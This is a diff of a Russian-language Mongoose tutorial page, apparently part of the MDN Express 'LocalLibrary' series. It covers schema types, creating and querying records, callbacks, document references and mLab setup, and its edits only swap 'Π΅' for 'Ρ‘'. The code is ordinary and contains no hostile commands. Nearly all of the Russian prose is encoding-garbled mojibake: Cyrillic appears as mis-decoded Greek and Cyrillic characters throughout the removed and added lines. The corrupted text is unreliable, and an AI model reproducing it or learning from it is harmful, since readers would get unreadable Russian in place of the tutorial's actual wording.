<li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π² схСмС.</li>
- <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: Массив элСмСнтов. Π’ Ρ‚Π°ΠΊΠΈΡ… модСлях ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ JavaScript-ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ для массивов (push, pop, unshift, etc.).Β  Π’Ρ‹ΡˆΠ΅ показан примСр массивы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΈ массив строк, Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² любого Ρ‚ΠΈΠΏΠ°.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: Массив элСмСнтов. Π’ Ρ‚Π°ΠΊΠΈΡ… модСлях ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ JavaScript-ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ для массивов (push, pop, unshift, etc.).Β  Π’Ρ‹ΡˆΠ΅ показан примСр массивы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΈ массив строк, Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² любого Ρ‚ΠΈΠΏΠ°.</li>
</ul>
<p>Код содСрТит Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π²Π° способа объявлСния ΠΏΠΎΠ»Π΅ΠΉ:</p>
@@ -325,7 +325,7 @@ awesome_instance.save(function (err) {
<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ записСй (Π° Ρ‚Π°ΠΊΠΆΠ΅ обновлСния, удалСния ΠΈ запросы) - это асинхронныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, поэтому слСдуСт ΠΏΡ€Π΅Π΄ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° ΠΏΡ€ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈΒ  ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Π’ API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ соглашСниС ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅, согласно ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ошибки (ΠΈΠ»ΠΈ null). Если API Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ.</p>
-<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>create()</code> для создании экзСмпляра ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΏΡ€ΠΈ Π΅Π³ΠΎ сохранСнии. Π’ΠΎΠ³Π΄Π° колбэк-функция Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ (ΠΈΠ»ΠΈ null) ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданный экзСмпляр ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚.</p>
+<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>create()</code> для создании экзСмпляра ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΏΡ€ΠΈ Π΅Π³ΠΎ сохранСнии. Π’ΠΎΠ³Π΄Π° колбэк-функция Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ (ΠΈΠ»ΠΈ null) ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданный экзСмпляр ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚.</p>
<pre class="brush: js">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) {
if (err) return handleError(err);
@@ -348,7 +348,7 @@ console.log(<code>awesome_instance.name</code>); //Π²Ρ‹Π²ΠΎΠ΄ Π² консоль
<h4 id="Поиск_записСй">Поиск записСй</h4>
-<p>ΠŸΡ€ΠΈ поискС записСй ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ запросов, условия поиска слСдуСт Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ JSON. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° (Π½ΠΈΠΆΠ΅) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π² Π‘Π” Π½Π°ΠΉΡ‚ΠΈ ΠΈΠΌΠ΅Π½Π° (<em>name</em>) ΠΈ возраст (<em>age</em>) всСх спортсмСнов-тСннисистов. БоотвСтствиС Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ полю (sport), Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ поиска, Π·Π°Π΄Π°Π², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ всС ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список всСх спортсмСнов.</p>
+<p>ΠŸΡ€ΠΈ поискС записСй ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ запросов, условия поиска слСдуСт Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ JSON. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° (Π½ΠΈΠΆΠ΅) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π² Π‘Π” Π½Π°ΠΉΡ‚ΠΈ ΠΈΠΌΠ΅Π½Π° (<em>name</em>) ΠΈ возраст (<em>age</em>) всСх спортсмСнов-тСннисистов. БоотвСтствиС Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ полю (sport), Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ поиска, Π·Π°Π΄Π°Π², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ всС ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список всСх спортсмСнов.</p>
<pre class="brush: js"><code>var Athlete = mongoose.model('Athlete', yourSchema);
@@ -364,7 +364,7 @@ Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) {
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> ВсС колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Mongoose ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ±Ρ€Π°Π·Π΅Ρ† <code>callback(error, result)</code>. Если ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ошибка, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>error</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ error, Π° <code>result</code> Π±ΡƒΠ΄Π΅Ρ‚ null. ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ запросС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>error</code> Π±ΡƒΠ΄Π΅Ρ‚ null, Π° <code>result</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ запроса.</p>
</div>
-<p>Если Π½Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, API Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Ρ‚ΠΈΠΏΠ° <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ запроса, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ свой запрос (с колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ) ΠΏΠΎΠ·ΠΆΠ΅, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>exec()</code>.</p>
+<p>Если Π½Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, API Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Ρ‚ΠΈΠΏΠ° <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ запроса, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ свой запрос (с колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ) ΠΏΠΎΠ·ΠΆΠ΅, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>exec()</code>.</p>
<pre class="brush: js"><code>// Π½Π°ΠΉΡ‚ΠΈ всСх тСннисистов
var query = Athlete.find({ 'sport': 'Tennis' });
@@ -404,7 +404,7 @@ query.exec(function (err, athletes) {
</ul>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π•ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт количСство записСй, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ. Он ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ подсчСтов Π±Π΅Π· фактичСского извлСчСния записСй.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π•ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт количСство записСй, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ. Он ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ подсчётов Π±Π΅Π· фактичСского извлСчСния записСй.</p>
</div>
<p>Запросы ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ ΠΈ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация - Π²Β <a href="http://mongoosejs.com/docs/queries.html">Queries</a> (докумСнтация Mongoose).</p>
@@ -431,17 +431,17 @@ var storySchema = Schema({
var Story = mongoose.model('Story', storySchema);
var Author = mongoose.model('Author', authorSchema);</code></pre>
-<p>МоТно ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ссылки Π² связанном Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° <code>_id</code>. НиТС создаСтся Π°Π²Ρ‚ΠΎΡ€, Π·Π°Ρ‚Π΅ΠΌ Β  рассказ, ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° id Π°Π²Ρ‚ΠΎΡ€Π° сохраняСтся Π² ΠΏΠΎΠ»Π΅ "author" рассказа.</p>
+<p>МоТно ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ссылки Π² связанном Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° <code>_id</code>. НиТС создаётся Π°Π²Ρ‚ΠΎΡ€, Π·Π°Ρ‚Π΅ΠΌ Β  рассказ, ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° id Π°Π²Ρ‚ΠΎΡ€Π° сохраняСтся Π² ΠΏΠΎΠ»Π΅ "author" рассказа.</p>
<pre class="brush: js"><code>var bob = new Author({ name: 'Bob Smith' });
bob.save(function (err) {
if (err) return handleError(err);
- //Π°Π²Ρ‚ΠΎΡ€ Bob создан, создаСм рассказ
+ //Π°Π²Ρ‚ΠΎΡ€ Bob создан, создаём рассказ
var story = new Story({
title: "Bob goes sledding",
- author: bob._id // присваиваСм полю Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° Π‘ΠΎΠ±Π°. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ создаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ!
+ author: bob._id // присваиваСм полю Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° Π‘ΠΎΠ±Π°. Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ создаётся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ!
});
story.save(function (err) {
@@ -479,7 +479,7 @@ bob.save(function (err) {
<h3 id="Одна_схСма_(модСль)_-_ΠΎΠ΄ΠΈΠ½_Ρ„Π°ΠΉΠ»">Одна схСма (модСль) - ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΉΠ»</h3>
-<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ структуру Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΈ создании схСм ΠΈ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΌΡ‹ Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ схСму ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π΅ (Ρ„Π°ΠΉΠ»Π΅),Β  экспортируя ΠΌΠ΅Ρ‚ΠΎΠ΄ для создания ΠΌΠΎΠ΄Π΅Π»ΠΈ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅:</p>
+<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ структуру Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΈ создании схСм ΠΈ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΌΡ‹ Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ схСму ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π΅ (Ρ„Π°ΠΉΠ»Π΅),Β  экспортируя ΠΌΠ΅Ρ‚ΠΎΠ΄ для создания ΠΌΠΎΠ΄Π΅Π»ΠΈ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: js"><code>// Π€Π°ΠΉΠ»: ./models/somemodel.js
@@ -499,7 +499,7 @@ module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code><
<p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p>
-<pre class="brush: js"><code>//Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ модСль SomeModel просто Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ модуля ΠΈΠ· Ρ„Π°ΠΉΠ»Π°
+<pre class="brush: js"><code>//Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ модСль SomeModel просто Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ модуля ΠΈΠ· Ρ„Π°ΠΉΠ»Π°
var SomeModel = require('../models/somemodel')
// Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ SomeModel (модСль) для поиска всСх записСй Π² SomeModel
@@ -509,7 +509,7 @@ SomeModel.find(callback_function);</code></pre>
<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅ΠΌ,Β  Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Mongoose ΠΈ ΠΊΠ°ΠΊ слСдуСт ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ  ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ самоС врСмя Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ над сайтом  <em>LocalLibrary</em>. Π‘Π°ΠΌΠΎΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ - ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… MongoDb, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π΄Π°Π½Π½Ρ‹Π΅ нашСй Β  Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ.</p>
-<p>Π’ этом руководствС ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… Π² "пСсочницС" ("<a href="https://mlab.com/plans/pricing/">sandbox</a>") - бСсплатный ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹ΠΉ сСрвис, прСдоставляСмый  <a href="https://mlab.com/welcome/">mLab</a>. Вакая Π±Π°Π·Π° Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹Ρ… Π²Π΅Π±-сайтов, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ избыточности, Π½ΠΎ ΠΎΠ½Π° ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½Π° для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ прототипирования. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ ΠΎΠ½Π° бСсплатна, Π΅Π΅ Π»Π΅Π³ΠΊΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ mLab - популярный поставщик  <em>Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊ сСрвиса, </em>ΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹ΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ для ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ извСстныС возмоТности Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚Β <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a>Β ΠΈΒ <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p>
+<p>Π’ этом руководствС ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… Π² "пСсочницС" ("<a href="https://mlab.com/plans/pricing/">sandbox</a>") - бСсплатный ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹ΠΉ сСрвис, прСдоставляСмый  <a href="https://mlab.com/welcome/">mLab</a>. Вакая Π±Π°Π·Π° Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹Ρ… Π²Π΅Π±-сайтов, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ избыточности, Π½ΠΎ ΠΎΠ½Π° ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½Π° для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ прототипирования. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Ρ‘, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ ΠΎΠ½Π° бСсплатна, Π΅Ρ‘ Π»Π΅Π³ΠΊΠΎ 